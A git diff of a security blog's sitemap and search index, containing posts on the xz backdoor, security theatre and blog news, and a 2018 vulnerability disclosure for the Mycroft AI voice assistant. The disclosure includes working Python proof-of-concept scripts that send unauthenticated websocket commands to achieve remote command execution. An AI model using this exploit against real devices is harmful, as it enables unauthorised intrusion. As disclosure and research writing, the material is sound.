diff --git a/en/sitemap.xml b/en/sitemap.xml index 2674d53..607c8fb 100644 --- a/en/sitemap.xml +++ b/en/sitemap.xml @@ -1 +1 @@ -https://appsec.space/2024-03-31T11:33:45+02:00weekly1https://appsec.space/tags/backdoor/2024-03-31T11:33:45+02:00weekly1https://appsec.space/tags/cve-2024-3094/2024-03-31T11:33:45+02:00weekly1https://appsec.space/tags/liblzma/2024-03-31T11:33:45+02:00weekly1https://appsec.space/posts/2024-03-31T11:33:45+02:00weekly1https://appsec.space/tags/security-engineering/2024-03-31T11:33:45+02:00weekly1https://appsec.space/tags/supply-chain/2024-03-31T11:33:45+02:00weekly1https://appsec.space/tags/2024-03-31T11:33:45+02:00weekly1https://appsec.space/posts/xz-backdoor/2024-03-31T11:33:45+02:00weekly1https://appsec.space/tags/xz/2024-03-31T11:33:45+02:00weekly1https://appsec.space/categories/2024-03-30T22:00:02+01:00weekly1https://appsec.space/categories/general-knowledge/2024-03-30T22:00:02+01:00weekly1https://appsec.space/tags/infosec/2024-03-30T22:00:02+01:00weekly1https://appsec.space/tags/rants/2024-03-30T22:00:02+01:00weekly1https://appsec.space/tags/security-theatre/2024-03-30T22:00:02+01:00weekly1https://appsec.space/posts/security-theatre/2024-03-30T22:00:02+01:00weekly1https://appsec.space/categories/blog-news/2024-03-30T22:00:02+01:00weekly1https://appsec.space/posts/long-time-no-see/2024-03-30T22:00:02+01:00weekly1https://appsec.space/tags/updates/2024-03-30T22:00:02+01:00weekly1https://appsec.space/tags/ai/2024-03-30T22:00:02+01:00weekly1https://appsec.space/tags/code-review/2024-03-30T22:00:02+01:00weekly1https://appsec.space/posts/mycroft-ai-rce/2024-03-30T22:00:02+01:00weekly1https://appsec.space/tags/vocal-assistant/2024-03-30T22:00:02+01:00weekly1https://appsec.space/categories/vulnerability-research/2024-03-30T22:00:02+01:00weekly1https://appsec.space/tags/writeup/2024-03-30T22:00:02+01:00weekly1https://appsec.space/about/2023-03-21T22:11:59+01:00weekly0.5 \ No newline at end of file +https://appsec.space/2024-03-31T11:41:00+02:00weekly1https://appsec.space/tags/backdoor/2024-03-31T11:41:00+02:00weekly1https://appsec.space/tags/cve-2024-3094/2024-03-31T11:41:00+02:00weekly1https://appsec.space/tags/liblzma/2024-03-31T11:41:00+02:00weekly1https://appsec.space/posts/2024-03-31T11:41:00+02:00weekly1https://appsec.space/tags/security-engineering/2024-03-31T11:41:00+02:00weekly1https://appsec.space/tags/supply-chain/2024-03-31T11:41:00+02:00weekly1https://appsec.space/tags/2024-03-31T11:41:00+02:00weekly1https://appsec.space/posts/xz-backdoor/2024-03-31T11:41:00+02:00weekly1https://appsec.space/tags/xz/2024-03-31T11:41:00+02:00weekly1https://appsec.space/categories/2024-03-30T22:00:02+01:00weekly1https://appsec.space/categories/general-knowledge/2024-03-30T22:00:02+01:00weekly1https://appsec.space/tags/infosec/2024-03-30T22:00:02+01:00weekly1https://appsec.space/tags/rants/2024-03-30T22:00:02+01:00weekly1https://appsec.space/tags/security-theatre/2024-03-30T22:00:02+01:00weekly1https://appsec.space/posts/security-theatre/2024-03-30T22:00:02+01:00weekly1https://appsec.space/categories/blog-news/2024-03-30T22:00:02+01:00weekly1https://appsec.space/posts/long-time-no-see/2024-03-30T22:00:02+01:00weekly1https://appsec.space/tags/updates/2024-03-30T22:00:02+01:00weekly1https://appsec.space/tags/ai/2024-03-30T22:00:02+01:00weekly1https://appsec.space/tags/code-review/2024-03-30T22:00:02+01:00weekly1https://appsec.space/posts/mycroft-ai-rce/2024-03-30T22:00:02+01:00weekly1https://appsec.space/tags/vocal-assistant/2024-03-30T22:00:02+01:00weekly1https://appsec.space/categories/vulnerability-research/2024-03-30T22:00:02+01:00weekly1https://appsec.space/tags/writeup/2024-03-30T22:00:02+01:00weekly1https://appsec.space/about/2023-03-21T22:11:59+01:00weekly0.5 \ No newline at end of file diff --git a/index.json b/index.json index 88abe72..a41b8c5 100644 --- a/index.json +++ b/index.json @@ -1 +1 @@ -[{"categories":null,"content":"As you probably already heard, the xz package got compromised. The package was used as entrypoint to inject malicious code in sshd, altering the authentication flow. This forged vulnerability is now known as CVE-2024-3094. Note The situation is still ongoing, more details will emerge in the near future and I will update this post accordingly. This is probably a full fledged operation due to it’s methodology and duration but I’m not the right guy to talk about OpSec and Threat Actors attributions. Check the Resources section for additional links. The situation doesn’t look too good so I’m trying to write this blogpost as a summary. I don’t want to address the technical aspect of the compromission but I want to look at the issue from the perspective of a Security Engineer, summarizing what went wrong and trying to find a remediation. ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:0:0","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#"},{"categories":null,"content":" 1 Timeline Note Check the Resources section for a link to an article with a detailed timeline 2023: A new maintainer shows up in the xz project 29 Mar 2024: Andres Freund sent an email to the oss-security mailing list regarding a backdoor in xz/liblzma. He was optimizing his infrastructure and found that ssh was suspiciously slow. Some debug later he found the issue was likely caused by the backdoor. The initial analysis was performed with the help of Florian Weimer. Impacted distros are starting to ship patches to downgrade the xz version (more on that later) 30 Mar 2024: GitHub blocked access to the repostiory and blocked the account of both the xz maintainers An official statement was released by the project maintainer ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:1:0","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#timeline"},{"categories":null,"content":" 2 Impacted componentsThe extent of this breach is still unkown, but here is a (partial) list of components shipping the known malicious version of xz: Distributions: Arch Debian Sid Gentoo Fedora 40 Manjaro Testing Parabola NixOS Unstable Slackware SUSE Tumbleweed Kali Linux The backdoored package is also contained in the following package managers: Homebrew MacPorts pkgsrc At the moment we know that the there are checks in the backdoor to target Linux instances and only x86_64/amd64 builds so the affected target could be reduced but since the entire situation is unclear I would not reccommend to keep a compromised package on your system. ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:2:0","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#impacted-components"},{"categories":null,"content":" 3 Considerations","date":"2024-03-30","objectID":"/posts/xz-backdoor/:3:0","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#considerations"},{"categories":null,"content":" 3.1 The GitHub BehaviorThe reasons behind the xz repositories lockdown are still a mistery to me, especially knowing that with the source code available additional anaysis on the backdoor could be performed. Blocking access to the source code is something that will delay further results, that is honestly really bad for time-critical situation like this one. ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:3:1","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#the-github-behavior"},{"categories":null,"content":" 3.2 The downgradesThe patch strategy for basically everyone was to force a downgrade from the 5.6.0-5.6.1 to another version. Some (homebrew, for example), forced the downgrade to 5.4.6. This looks interesting because for sure we know there is a backdoor on that (5.6.0-5.6.1) versions, but we also know that the attacker has been working on the repository for over two years. The 5.4.6 version is also builded by the attacker and honestly wouldn’t trust it much. Again, thanks GitHub for locking the access to the source code. ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:3:2","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#the-downgrades"},{"categories":null,"content":" 4 How to prevent this issue?As I said at the beginning of the post, I don’t want to go too deep into the technical analysis of the backdoor, for two main reasons: with the sourcecode locked and only an archive available the informations are incomplete and I really don’t want to reverse the xz binary. Also, and this is the more important reasons, people more knowledgeable than me on Threat Actors behaviors are already on it. I will just link their posts once are ready, so make sure to check the Resources section below. One thing I can do here is showing the point of view of a Security Engineer on the issue, how I would mitigate the problem and what steps went wrong. Note TL;DR: there isn’t an actual solution ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:4:0","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#how-to-prevent-this-issue"},{"categories":null,"content":" 4.1 Trust issues xz is a software mainteined (up until 2023) by 1 single guy. Later another maintainer joined but unfortunately for us, it was the same guy pushing the backdoor to upstream. This crashes against the fact that xz is an incredibly popular package available in a lot of distributions and being a dependency of many softwares. This was likely seen by the attacker as a gold mine since it was easy to get the role of maintainer of the project and push the malicious code. Since you are using a thirdy-part source for your supply chain, you have to trust someone at one point or another. When talking about supply chain security the reccomendations are always the same: pin the hashes and use signature verification. This will work as long as you have scenarios like a malicious attacker compromising the dependency CICD and pushing a malicious build, account compromissions etc. But what can you do if all of a sudden, trusted maintainers goes rogue? As a standard user, unless you want (and are able to) code review every single commit from every single piece of software your OS interact with: pretty much nothing. On the other hand, developers and repository owners should really increase controls on their supply chain and include strict metrics to exclude high risk packages. One of the biggest gimmicks of Open Source security is people beliving that since the source code is available the code magically became safe. One critical factor often overlooked is the assumption that having access to the source code automatically translates into a larger pool of eyes scrutinizing it for vulnerabilities. The effectiveness of this review process depends on the level of community engagement and the expertise of those inspecting the code, and usually is not much at all. Many projects receive minimal attention from developers, with only a handful of individuals actively contributing or reviewing code changes. As a result, vulnerabilities (intentional or not) may go unnoticed for extended periods, posing significant security risks to users. Every time a discussion like that appears I always remember the InfosectCBR’s “Month of Kali” where Silvio Cesare spent a month popping vulnerabilities on Kali Linux software. But which factors could contribute on minimizing the risks? ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:4:1","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#trust-issues"},{"categories":null,"content":" 4.2 GitHub StatsJust to be clear from the beginning: No, you can’t trust this kind of metrics. There is an hidden market of buying and selling GitHub stats like stars, forks etc. You can read a nice article here: https://dagster.io/blog/fake-stars ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:4:2","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#github-stats"},{"categories":null,"content":" 4.3 Community EngagementEvaluate the size and engagement of the community surrounding the project. A large and active community can provide additional eyes for reviewing code, reporting bugs, and addressing security issues promptly. xz/liblzma had litterally 2 maintainers and one was the malicious actor. ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:4:3","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#community-engagement"},{"categories":null,"content":" 4.4 Funding and SupportConsider whether the project receives financial support or sponsorship from reputable organizations. Projects with dedicated funding tend to have more resources available for security audits and ongoing maintenance. And also are less likely to be completely abandoned. Tip Remember: you want to rely on that dependency for the whole week, not only during the maintainer’s freetime, projects with a nice financial support will likely be full-time jobs and not just hobbies. ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:4:4","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#funding-and-support"},{"categories":null,"content":" 4.5 SDLCA good portion of the evaluation should also focus on the SDLC to e ensure security (and quality in general) gates are correcly implemented, approvals on PRs are mandatory and there are healthy practices in place to prevent one single contributor to push malicious code without approval. Also take in considerations that we are humans, and we make errors. Passing a code review doesn’t mean the code is safe, as I said before: there is no real solution, just ways to decrease the probablity for the bad stuff to happen. ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:4:5","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#sdlc"},{"categories":null,"content":" 4.6 Enterprise vs IndividualThis is a controversial topic because there are projects that are maintained by individuals that are well structured but usually relying on (large) enterprise projects will ensure their SDLC best practices are followed, money are keeping the project alive, and a big company is less likely to go all in and backdoor their project on purpose. Again, this just increases the probablity, don’t take it for granted ;) ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:4:6","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#enterprise-vs-individual"},{"categories":null,"content":" 4.7 Recursive controlsThe project you are including will probably also have dependencies, make sure the same scrutiny is applied by the project maintainers on their supply chain to avoid indirect compromission. ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:4:7","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#recursive-controls"},{"categories":null,"content":" 5 Resources OSS-Security List: https://www.openwall.com/lists/oss-security/2024/03/29/4 Comprehensive timeline: https://boehs.org/node/everything-i-know-about-the-xz-backdoor Compromise link roundup: https://shellsharks.com/xz-compromise-link-roundup Obfuscation Analysis: https://gynvael.coldwind.pl/?lang=en\u0026id=782 Backdoor Analysis: https://gist.github.com/smx-smx/a6112d54777845d389bd7126d6e9f504 ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:5:0","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#resources"},{"categories":["general-knowledge"],"content":"I have seen many companies invest significant time and resources into security measures that have little to no actual effect on security. This is commonly referred to as “security theater”. ","date":"2023-02-13","objectID":"/posts/security-theatre/:0:0","series":null,"tags":["security theatre","infosec","rants"],"title":"Security Theatre? More like Security Circus","uri":"/posts/security-theatre/#"},{"categories":["general-knowledge"],"content":" 1 What is the Security TheatreSecurity theater refers to the practice of implementing security measures for the sake of appearances, without any significant impact on actual security. These measures may give the illusion of protection, but in reality, they provide little to no real security benefits. Organizations often fall into the trap of focusing solely on compliance requirements without considering their actual security needs. Compliance-driven security measures may give the illusion of being protected, but they often fail to address the specific security risks faced by an organization. Useless compliance can also result in organizations wasting valuable resources on implementing measures that do not have a significant impact on their security posture. This can lead to a situation where an organization is in compliance with regulations, but the security budget is depleted, while their assets are still vulnerable to attacks. Oh, how I love the smell of compliance in the morning. An example of Security Theatre is the use of complex passwords that are changed regularly. Although it may seem like a good idea, it can lead to password fatigue and employees using easier-to-remember passwords, which actually undermines security. This is among the reasons why companies like Microsoft, Apple, and Google are moving away from passwords. fix your password policy Another example of security theatre is implementing security controls that are not properly configured or maintained. For instance, firewalls, IDS and IPS are a common security measure that are often poorly configured or not kept up-to-date with the latest security patches ","date":"2023-02-13","objectID":"/posts/security-theatre/:1:0","series":null,"tags":["security theatre","infosec","rants"],"title":"Security Theatre? More like Security Circus","uri":"/posts/security-theatre/#what-is-the-security-theatre"},{"categories":["general-knowledge"],"content":" 2 Root causeCybersecurity has become the new gold rush, with numerous individuals and organizations seeking to take advantage of the potential financial gains. However, finding skilled personnel to address these security concerns can be challenging, and relying on consultants can lead to a situation where the organization becomes overly dependent on their expertise. ","date":"2023-02-13","objectID":"/posts/security-theatre/:2:0","series":null,"tags":["security theatre","infosec","rants"],"title":"Security Theatre? More like Security Circus","uri":"/posts/security-theatre/#root-cause"},{"categories":["general-knowledge"],"content":" 3 Wrapping upOrganizations can protect themselves from the constant security threats by taking a proactive approach. The first step is to gain a thorough understanding of the specific risks they are facing and then implement the necessary measures to mitigate these risks. This includes educating their employees to be aware of potential attacks and how to respond in such situations. In conclusion, to avoid being caught in the trap of “security theater”, organizations must concentrate on establishing practical security measures and regularly evaluate their effectiveness. Having a well-thought-out response plan in place is also critical in ensuring the protection of the organization’s assets. Additionally, organizations should cease creating redundant policies that serve no purpose in enhancing the organization’s overall security posture. Tip Here you can find an interesting article from Phil Venables, Google CISO, about Cerimonial Security and Cargo Cults ","date":"2023-02-13","objectID":"/posts/security-theatre/:3:0","series":null,"tags":["security theatre","infosec","rants"],"title":"Security Theatre? More like Security Circus","uri":"/posts/security-theatre/#wrapping-up"},{"categories":["blog-news"],"content":"Long time no see, uh? Lot of stuff happen since the last post in 2018 on the old blog. Unfortunately I wasn’t able to write much, both for the lack of time and the impossibility to share what I learned. This post contains an introduction to this new website and how it will work from now on. First of all, I’m still in Security but moved to Product Security (more on this on a later post but TL;DR: boredom, careeer and growth opportunities, frustration and fear of burnout). Fortunately I still have time and resources on my job to conduct vulnerability research so occasionally I will post about interesting vulnerabilities I found. I would also like to talk about security aspects more related to SDLC, so let’s see how it’ll go. ","date":"2023-02-06","objectID":"/posts/long-time-no-see/:0:0","series":null,"tags":["updates"],"title":"Long Time No See","uri":"/posts/long-time-no-see/#"},{"categories":["blog-news"],"content":" 1 How this blog worksThe setup is pretty simple, I’m using hugo to build static pages and publish them on GitHub pages. There is a Github Action running that builds and deploy the pages every time a PR is approved on the main branch. A graph represeting the logic flow behind the blog deployment system The theme used is LoveIt, it’s pretty cool and rich of features but has few bugs that need to be fixed; for example, if you are using the blog in Italian you can see that the localization is pretty much fucked up. The theme localization it’s a pretty cool feature but having to rewrite the same post for each language is painful, so I’m thinking about adding the support to DeepL. Last but not least, the blog got a new logo: appsec.space logo it was generated by Midjourney and means absolutely nothing! ","date":"2023-02-06","objectID":"/posts/long-time-no-see/:1:0","series":null,"tags":["updates"],"title":"Long Time No See","uri":"/posts/long-time-no-see/#how-this-blog-works"},{"categories":["blog-news"],"content":" 2 The futureWhat’s next, you ask? Well.. a lot of stuff actually. First of all I need to migrate all the posts from the old blog because I would like to retain an archive. Next I can start writing new posts. Note If you get a redirect from the old blog to the new one the process has been completed. Despite being called appsec.space I would like to talk about different topics, spacing from Application Security to Malware Developmemnt (for learning purposes of course), to productivity setup and generic rants, basically turning this blog into my stream of counciousness. The next post will probably talk about the Security Theater. See you then! ","date":"2023-02-06","objectID":"/posts/long-time-no-see/:2:0","series":null,"tags":["updates"],"title":"Long Time No See","uri":"/posts/long-time-no-see/#the-future"},{"categories":["vulnerability-research"],"content":" 1 IntroductionDuring my journey contributing to open source I was working with my friend Matteo De Carlo on an AUR Package of a really interesting project called Mycroft AI. It’s an AI-powered vocal assistant started with a crowdfunding campaign in 2015 and a more recent one that allowed Mycroft to produce their Mark-I and Mark-II devices. It’s also running on Linux Desktop/Server, Raspberry PI and will be available soon™ on Jaguar F-Type and Land Rover ","date":"2018-06-10","objectID":"/posts/mycroft-ai-rce/:1:0","series":null,"tags":["writeup","code review","AI","vocal assistant"],"title":"Getting \"Zero Click\" Remote Code Execution in Mycroft AI vocal assistant","uri":"/posts/mycroft-ai-rce/#introduction"},{"categories":["vulnerability-research"],"content":" 2 Digging in the source codeWhile looking at the source code I found an interesting point: here ... host = config.get(\"host\") port = config.get(\"port\") route = config.get(\"route\") validate_param(host, \"websocket.host\") validate_param(port, \"websocket.port\") validate_param(route, \"websocket.route\") routes = [ (route, WebsocketEventHandler) ] application = web.Application(routes, **settings) application.listen(port, host) ioloop.IOLoop.instance().start() ... it defines a websocket server that uses to get instructions from the remote clients (like the Android one). The settings for the websocket server are defined in mycroft.conf // The mycroft-core messagebus' websocket \"websocket\": { \"host\": \"0.0.0.0\", \"port\": 8181, \"route\": \"/core\", \"ssl\": false }, So there is a websocket server that doesn’t require authentication that by default is exposed on 0.0.0.0:8181/core. Let’s test it 😉 #!/usr/bin/env python import asyncio import websockets uri = \"ws://myserver:8181/core\" command = \"say pwned\" async def sendPayload(): async with websockets.connect(uri) as websocket: await websocket.send(\"{\\\"data\\\": {\\\"utterances\\\": [\\\"\"+command+\"\\\"]}, \\\"type\\\": \\\"recognizer_loop:utterance\\\", \\\"context\\\": null}\") asyncio.get_event_loop().run_until_complete(sendPayload()) And magically we have an answer from the vocal assistant saying pwned! Well, now we can have Mycroft pronounce stuff remotely, but this is not a really big finding unless you want to scare your friends, right? WRONG ","date":"2018-06-10","objectID":"/posts/mycroft-ai-rce/:2:0","series":null,"tags":["writeup","code review","AI","vocal assistant"],"title":"Getting \"Zero Click\" Remote Code Execution in Mycroft AI vocal assistant","uri":"/posts/mycroft-ai-rce/#digging-in-the-source-code"},{"categories":["vulnerability-research"],"content":" 3 The skills systemDigging deeper we can see that Mycroft has a skills system and a default skill that can install others skills (pretty neat, right?) How is a skill composed? From what we can see from the documentation a default skill is composed by: dialog/en-us/command.dialog contains the vocal command that will trigger the skill vocab/en-us/answer.voc contains the answer that Mycroft will pronounce requirements.txt contains the requirements for the skill that will be installed with pip __int__.py contains the main function of the skill and will be loaded when the skill is triggered ","date":"2018-06-10","objectID":"/posts/mycroft-ai-rce/:3:0","series":null,"tags":["writeup","code review","AI","vocal assistant"],"title":"Getting \"Zero Click\" Remote Code Execution in Mycroft AI vocal assistant","uri":"/posts/mycroft-ai-rce/#the-skills-system"},{"categories":["vulnerability-research"],"content":" 4 What can I do now?I could create a malicious skill that when triggered runs arbitrary code on the remote machine, but unfortunately this is not possible via vocal command unless the URL of the skill is not whitelisted via the online website. So this is possible but will be a little tricky. ","date":"2018-06-10","objectID":"/posts/mycroft-ai-rce/:4:0","series":null,"tags":["writeup","code review","AI","vocal assistant"],"title":"Getting \"Zero Click\" Remote Code Execution in Mycroft AI vocal assistant","uri":"/posts/mycroft-ai-rce/#what-can-i-do-now"},{"categories":["vulnerability-research"],"content":" 4.1 So I’m done?Not yet. I found out that I can trigger skills remotely and that is possible to execute commands on a remote machine convincing the user to install a malicious skill. I may have enough to submit a vulnerability report. But maybe I can do a bit better… ","date":"2018-06-10","objectID":"/posts/mycroft-ai-rce/:4:1","series":null,"tags":["writeup","code review","AI","vocal assistant"],"title":"Getting \"Zero Click\" Remote Code Execution in Mycroft AI vocal assistant","uri":"/posts/mycroft-ai-rce/#so-im-done"},{"categories":["vulnerability-research"],"content":" 5 Getting a remote shell using default skillsWe know that Mycroft has some default skills like open that will open an application and others that are whitelisted but not installed. Reading through to the list, I found a really interesting skill called skill-autogui, whose description says Manipulate your mouse and keyboard with Mycroft. We got it! Let’s try to combine everything we found so far into a PoC: #!/usr/bin/env python import sys import asyncio import websockets import time cmds = [\"mute audio\"] + sys.argv[1:] uri = \"ws://myserver:8181/core\" async def sendPayload(): for payload in cmds: async with websockets.connect(uri) as websocket: await websocket.send(\"{\\\"data\\\": {\\\"utterances\\\": [\\\"\"+payload+\"\\\"]}, \\\"type\\\": \\\"recognizer_loop:utterance\\\", \\\"context\\\": null}\") time.sleep(1) asyncio.get_event_loop().run_until_complete(sendPayload()) Running the exploit with python pwn.py \"install autogui\" \"open xterm\" \"type echo pwned\" \"press enter\" allowed me to finally get a command execution on a Linux machine. PoC ","date":"2018-06-10","objectID":"/posts/mycroft-ai-rce/:5:0","series":null,"tags":["writeup","code review","AI","vocal assistant"],"title":"Getting \"Zero Click\" Remote Code Execution in Mycroft AI vocal assistant","uri":"/posts/mycroft-ai-rce/#getting-a-remote-shell-using-default-skills"},{"categories":["vulnerability-research"],"content":" 6 Notes open xterm was needed because my test Linux environment had a DE installed, on a remote server the commands will be executed directly on TTY so this step is not nesessary. The skill branching had a big change and now some skills are not (yet) available (autogui is one of them) but this is not the real point. Mycroft has skills to interact with domotic houses and other services that can still be manipulated (the lack of imagination is the limit here). The vulnerability lies in the lack of authentication for the ws. ","date":"2018-06-10","objectID":"/posts/mycroft-ai-rce/:6:0","series":null,"tags":["writeup","code review","AI","vocal assistant"],"title":"Getting \"Zero Click\" Remote Code Execution in Mycroft AI vocal assistant","uri":"/posts/mycroft-ai-rce/#_notes_"},{"categories":["vulnerability-research"],"content":" 7 Affected devicesAll the devices running Mycroft \u003c= ? with the websocket server exposed (Mark-I has the websocket behind a firewall by default) ","date":"2018-06-10","objectID":"/posts/mycroft-ai-rce/:7:0","series":null,"tags":["writeup","code review","AI","vocal assistant"],"title":"Getting \"Zero Click\" Remote Code Execution in Mycroft AI vocal assistant","uri":"/posts/mycroft-ai-rce/#affected-devices"},{"categories":["vulnerability-research"],"content":" 8 Timeline 08/03/2018 Vulnerability found 09/03/2018 Vulnerability reported 13/03/2018 The CTO answered that they are aware of this problem and are currently working on a patch 06/06/2018 The CTO said that they have no problem with the release of the vulnerability and will add a warning to remember the user to use a firewall ¯\\_(ツ)_/¯ 09/06/2018 Public disclosure ","date":"2018-06-10","objectID":"/posts/mycroft-ai-rce/:8:0","series":null,"tags":["writeup","code review","AI","vocal assistant"],"title":"Getting \"Zero Click\" Remote Code Execution in Mycroft AI vocal assistant","uri":"/posts/mycroft-ai-rce/#timeline"},{"categories":null,"content":"My name is Francesco Giordano and I’m a Product Security Engineer with a background in vulnerability reasearch, malware development and offensive security in general. I also like to develop my own frameworks and tools, you can find my work and contributions on my GitHub. I used to run another blog, you can read more about that here ","date":"0001-01-01","objectID":"/about/:0:0","series":null,"tags":null,"title":"About Me","uri":"/about/#"}] \ No newline at end of file +[{"categories":null,"content":"As you probably already heard, the xz package got compromised. The package was used as entrypoint to inject malicious code in sshd, altering the authentication flow. This forged vulnerability is now known as CVE-2024-3094. Note The situation is still ongoing, more details will emerge in the near future and I will update this post accordingly. This is probably a full fledged operation due to it’s methodology and duration but I’m not the right guy to talk about OpSec and Threat Actors attributions. Check the Resources section for additional links. The situation doesn’t look too good so I’m trying to write this blogpost as a summary. I don’t want to address the technical aspect of the compromission but I want to look at the issue from the perspective of a Security Engineer, summarizing what went wrong and trying to find a remediation. ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:0:0","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#"},{"categories":null,"content":" 1 Timeline Note Check the Resources section for a link to an article with a detailed timeline 2023: A new maintainer shows up in the xz project 29 Mar 2024: Andres Freund sent an email to the oss-security mailing list regarding a backdoor in xz/liblzma. He was optimizing his infrastructure and found that ssh was suspiciously slow. Some debug later he found the issue was likely caused by the backdoor. The initial analysis was performed with the help of Florian Weimer. Impacted distros are starting to ship patches to downgrade the xz version (more on that later) 30 Mar 2024: GitHub blocked access to the repostiory and blocked the account of both the xz maintainers An official statement was released by the project maintainer ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:1:0","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#timeline"},{"categories":null,"content":" 2 Impacted componentsThe extent of this breach is still unkown, but here is a (partial) list of components shipping the known malicious version of xz: Distributions: Arch Debian Sid Gentoo Fedora 40 Manjaro Testing Parabola NixOS Unstable Slackware SUSE Tumbleweed Kali Linux The backdoored package is also contained in the repositories of following package managers: Homebrew MacPorts pkgsrc At the moment we know that the there are checks in the backdoor to target Linux instances and only x86_64/amd64 builds so the affected target could be reduced but since the entire situation is unclear I would not reccommend to keep a compromised package on your system. ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:2:0","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#impacted-components"},{"categories":null,"content":" 3 Considerations","date":"2024-03-30","objectID":"/posts/xz-backdoor/:3:0","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#considerations"},{"categories":null,"content":" 3.1 The GitHub BehaviorThe reasons behind the xz repositories lockdown are still a mistery to me, especially knowing that with the source code available additional anaysis on the backdoor could be performed. Blocking access to the source code is something that will delay further results, that is honestly really bad for time-critical situation like this one. ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:3:1","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#the-github-behavior"},{"categories":null,"content":" 3.2 The downgradesThe patch strategy for basically everyone was to force a downgrade from the 5.6.0-5.6.1 to another version. Some (homebrew, for example), forced the downgrade to 5.4.6. This looks interesting because for sure we know there is a backdoor on that (5.6.0-5.6.1) versions, but we also know that the attacker has been working on the repository for over two years. The 5.4.6 version is also builded by the attacker and honestly wouldn’t trust it much. Again, thanks GitHub for locking the access to the source code. ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:3:2","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#the-downgrades"},{"categories":null,"content":" 4 How to prevent this issue?As I said at the beginning of the post, I don’t want to go too deep into the technical analysis of the backdoor, for two main reasons: with the sourcecode locked and only an archive available the informations are incomplete and I really don’t want to reverse the xz binary. Also, and this is the more important reasons, people more knowledgeable than me on Threat Actors behaviors are already on it. I will just link their posts once are ready, so make sure to check the Resources section below. One thing I can do here is showing the point of view of a Security Engineer on the issue, how I would mitigate the problem and what steps went wrong. Note TL;DR: there isn’t an actual solution ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:4:0","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#how-to-prevent-this-issue"},{"categories":null,"content":" 4.1 Trust issues xz is a software mainteined (up until 2023) by 1 single guy. Later another maintainer joined but unfortunately for us, it was the same guy pushing the backdoor to upstream. This crashes against the fact that xz is an incredibly popular package available in a lot of distributions and being a dependency of many softwares. This was likely seen by the attacker as a gold mine 